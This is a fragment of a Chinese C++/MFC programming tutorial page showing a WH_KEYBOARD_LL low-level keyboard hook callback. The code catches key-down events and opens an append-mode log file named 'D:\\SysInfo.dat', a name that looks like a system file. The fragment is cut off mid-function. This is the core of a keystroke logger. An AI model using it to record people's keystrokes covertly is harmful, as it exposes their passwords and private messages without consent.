<pre name="code" class="cpp">LRESULT CALLBACK LowLevelKeyboardProc(INT nCode, WPARAM wParam, LPARAM lParam)
{
// By returning a non-zero value from the hook procedure, the
// message does not get passed to the target window
//KBDLLHOOKSTRUCT *pkbhs = (KBDLLHOOKSTRUCT *)lParam;
PKBDLLHOOKSTRUCT pKeyboardHookStruct = (PKBDLLHOOKSTRUCT)lParam;
//BOOL bControlKeyDown = 0;
TCHAR szBuf[MAXBYTE] = { 0 };
//HWND hWnd = GetForegroundWindow();
ofstream outfile("D:\\SysInfo.dat", ios::app);
/* WCHAR szClassName[MAX_PATH] = { 0 };
::GetClassName(hWnd, szClassName, MAX_PATH);*/
LONG Flag = 0;
CString csBuf;
//csBuf.Format(_T("%d"), pkbhs->vkCode);
//CString str((TCHAR*)lParam);
switch (nCode)
{
case HC_ACTION:
{
if ((WM_KEYDOWN == wParam) || (wParam == WM_SYSKEYDOWN)){
// for (int i=)
// CHAR * szBuf = (CHAR*)lParam;
C++ MFC 使用低级键盘钩子 获取键值 (WH_KEYBOARD_LL)
最新推荐文章于 2022-06-08 14:17:12 发布